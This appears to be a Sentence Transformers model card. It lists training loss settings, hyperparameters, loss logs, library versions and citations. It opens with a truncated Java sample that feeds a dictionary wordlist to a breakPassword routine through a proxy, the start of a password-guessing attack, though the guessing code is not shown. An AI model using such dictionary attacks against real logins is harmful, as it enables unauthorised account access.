static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
... - Loss:
MultipleNegativesRankingLosswith these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim" }
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16num_train_epochs: 1warmup_ratio: 0.1fp16: Truebatch_sampler: no_duplicates
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 8per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportional
Training Logs
| Epoch | Step | Training Loss |
|---|---|---|
| 0.0372 | 100 | 1.1693 |
| 0.0745 | 200 | 0.0311 |
| 0.1117 | 300 | 0.0292 |
| 0.1490 | 400 | 0.0112 |
| 0.1862 | 500 | 0.0105 |
| 0.2235 | 600 | 0.0214 |
| 0.2607 | 700 | 0.0185 |
| 0.2980 | 800 | 0.0177 |
| 0.3352 | 900 | 0.0074 |
| 0.3724 | 1000 | 0.0014 |
| 0.4097 | 1100 | 0.0115 |
| 0.4469 | 1200 | 0.0106 |
| 0.4842 | 1300 | 0.0017 |
| 0.5214 | 1400 | 0.012 |
| 0.5587 | 1500 | 0.0105 |
| 0.5959 | 1600 | 0.0065 |
| 0.6331 | 1700 | 0.0029 |
| 0.6704 | 1800 | 0.0066 |
| 0.7076 | 1900 | 0.0057 |
| 0.7449 | 2000 | 0.006 |
| 0.7821 | 2100 | 0.0015 |
| 0.8194 | 2200 | 0.002 |
| 0.8566 | 2300 | 0.0023 |
| 0.8939 | 2400 | 0.0016 |
| 0.9311 | 2500 | 0.0015 |
| 0.9683 | 2600 | 0.0021 |
| 0.0372 | 100 | 0.3419 |
| 0.0745 | 200 | 0.3313 |
| 0.1117 | 300 | 0.3715 |
| 0.1490 | 400 | 0.3292 |
| 0.1862 | 500 | 0.3443 |
| 0.2235 | 600 | 0.335 |
| 0.2607 | 700 | 0.3177 |
| 0.2980 | 800 | 0.3458 |
| 0.3352 | 900 | 0.3342 |
| 0.3724 | 1000 | 0.3306 |
| 0.4097 | 1100 | 0.3503 |
| 0.4469 | 1200 | 0.3142 |
| 0.4842 | 1300 | 0.336 |
| 0.5214 | 1400 | 0.3233 |
| 0.5587 | 1500 | 0.3153 |
| 0.5959 | 1600 | 0.3165 |
| 0.6331 | 1700 | 0.2956 |
| 0.6704 | 1800 | 0.3086 |
| 0.7076 | 1900 | 0.3048 |
| 0.7449 | 2000 | 0.2931 |
| 0.7821 | 2100 | 0.3107 |
| 0.8194 | 2200 | 0.3074 |
| 0.8566 | 2300 | 0.3274 |
| 0.8939 | 2400 | 0.2846 |
| 0.9311 | 2500 | 0.292 |
| 0.9683 | 2600 | 0.3083 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
MultipleNegativesRankingLoss
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}